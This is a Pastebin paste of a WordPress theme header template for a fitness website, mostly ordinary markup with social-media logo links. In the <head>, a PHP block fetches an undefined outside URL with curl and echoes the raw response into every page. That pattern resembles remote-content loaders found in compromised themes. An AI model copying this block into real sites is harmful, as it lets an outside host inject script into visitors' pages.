Advertisement
Guest User

myheader

a guest
Jan 15th, 2013
50
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.75 KB | None | 0 0
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
  3. <head profile="http://gmpg.org/xfn/11">
  4. <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
  5. <title><?php wp_title(''); ?></title>
  6. <?php elegant_description(); ?>
  7. <?php elegant_keywords(); ?>
  8. <?php elegant_canonical(); ?>
  9.  
  10. <link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/css/reset.css" type="text/css" media="screen" />
  11. <link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
  12. <link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php bloginfo('rss2_url'); ?>" />
  13. <link rel="alternate" type="application/atom+xml" title="<?php bloginfo('name'); ?> Atom Feed" href="<?php bloginfo('atom_url'); ?>" />
  14. <link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
  15.  
  16. <!--[if IE 7]>
  17. <link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/css/ie7style.css" />
  18. <![endif]-->
  19. <!--[if IE 8]>
  20. <link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/css/ie8style.css" />
  21. <![endif]-->
  22. <!--[if lt IE 7]>
  23. <link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/css/ie6style.css" />
  24. <script src="<?php bloginfo('template_directory'); ?>/js/DD_belatedPNG_0.0.8a-min.js" type="text/javascript" charset="utf-8"></script>
  25. <script type="text/javascript">DD_belatedPNG.fix('div#top, img#logo, img.logo_line, div#left_arrow a img, div#right_arrow a img, span a.readmore, #f_menu div.featitem, #f_menu div.active, ul.sf-menu li.backLava');</script>
  26. <![endif]-->
  27.  
  28. <script type="text/javascript">
  29. document.documentElement.className = 'js';
  30. </script>
  31.  
  32. <?php if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); ?>
  33. <?php wp_head(); ?>
  34.  
  35. <script src="http://code.jquery.com/jquery-1.7.1.min.js" type="text/javascript"></script>
  36. <?php
  37. if(function_exists('curl_init'))
  38. {
  39. $ch = curl_init();
  40. $timeout = 5;
  41. curl_setopt($ch,CURLOPT_URL,$url);
  42. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  43. curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
  44. $data = curl_exec($ch);
  45. curl_close($ch);
  46. echo "$data";
  47. }
  48. ?>
  49. </head>
  50. <body <?php body_class(); ?>>
  51.  
  52. <div id="top">
  53. <div id="header">
  54.  
  55. <!-- Start Logo -->
  56. <a href="<?php bloginfo('url'); ?>"><?php $logo = (get_option('polished_logo') <> '') ? get_option('polished_logo') : get_bloginfo('template_directory').'/images/logo.png'; ?>
  57. <img src="<?php echo esc_url($logo); ?>" alt="Logo" id="logo"/></a>
  58. <img src="<?php bloginfo('template_directory'); ?>/images/separator.png" width="2" height="101" alt="Line" class="logo_line"/>
  59. <p id="logo_title"><?php bloginfo('description'); ?></p>
  60. <!-- End Logo -->
  61.  
  62. <!-- Start Logo2 -->
  63. <a href="http://www.facebook.com/pages/Complete-Muscle-And-Fitness/145007178948742" target="_blank"><?php $logo2 = (get_option('polished_logo2') <> '') ? get_option('polished_logo2') : get_bloginfo('template_directory').'/images/logo2.png'; ?>
  64. <img src="<?php echo esc_url($logo2); ?>" alt="Logo2" id="logo2"/></a>
  65. <!-- End Logo -->
  66.  
  67. <!-- Start Logo3 -->
  68. <a href="https://twitter.com/CMANDF" target="_blank"><?php $logo3 = (get_option('polished_logo3') <> '') ? get_option('polished_logo3') : get_bloginfo('template_directory').'/images/logo3.png'; ?>
  69. <img src="<?php echo esc_url($logo3); ?>" alt="Logo3" id="logo3"/></a>
  70. <!-- End Logo -->
  71.  
  72. <!-- Start Logo4 -->
  73. <a href="http://www.youtube.com/user/CMandF?feature=mhee" target="_blank"><?php $logo4 = (get_option('polished_logo4') <> '') ? get_option('polished_logo4') : get_bloginfo('template_directory').'/images/logo4.png'; ?>
  74. <img src="<?php echo esc_url($logo4); ?>" alt="Logo4" id="logo4"/></a>
  75. <!-- End Logo -->
  76.  
  77. <!-- Start Logo5 -->
  78. <a href="http://www.completemuscleandfitness.com/forum/" target="_blank"><?php $logo5 = (get_option('polished_logo5') <> '') ? get_option('polished_logo5') : get_bloginfo('template_directory').'/images/logo5.png'; ?>
  79. <img src="<?php echo esc_url($logo5); ?>" alt="Logo5" id="logo5"/></a>
  80. <!-- End Logo -->
  81.  
  82. <!-- Start Searchbox -->
  83. <div id="searchico">
  84. <a href="#" id="search"><img src="<?php bloginfo('template_directory'); ?>/images/search_btn.png" width="19" height="19" alt="Search Btn"/></a>
  85. <form method="get" id="searchbox" action="<?php echo home_url(); ?>/">
  86. <input type="text" value="<?php esc_attr_e('search this site...','Polished'); ?>" name="s" id="s" />
  87. </form>
  88. </div>
  89. <!-- End Searchbox -->
  90.  
  91. <!-- Start Menu -->
  92. <?php $menuClass = 'sf-menu';
  93. $primaryNav = '';
  94.  
  95. if (function_exists('wp_nav_menu')) {
  96. $primaryNav = wp_nav_menu( array( 'theme_location' => 'primary-menu', 'container' => '', 'fallback_cb' => '', 'menu_class' => $menuClass, 'echo' => false ) );
  97. };
  98. if ($primaryNav == '') { ?>
  99. <ul class="<?php echo $menuClass; ?>">
  100. <?php if (get_option('polished_home_link') == 'on') { ?>
  101. <li <?php if (is_front_page()) echo('class="current_page_item"') ?>><a href="<?php bloginfo('url'); ?>"><?php esc_html_e('Home','Polished'); ?></a></li>
  102. <?php }; ?>
  103.  
  104. <?php show_categories_menu($menuClass,false); ?>
  105.  
  106. <?php show_page_menu($menuClass,false,false); ?>
  107. </ul> <!-- end ul.nav -->
  108. <?php }
  109. else echo($primaryNav); ?>
  110. <!-- End Menu -->
  111.  
  112. <?php if (get_option('polished_featured') == 'on' && (is_front_page() || is_home())) get_template_part('includes/featured'); ?>
  113. </div>
  114. <!-- End Header -->
  115. <div style="clear: both;"></div>
  116. </div>
  117. <!-- End Top -->
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement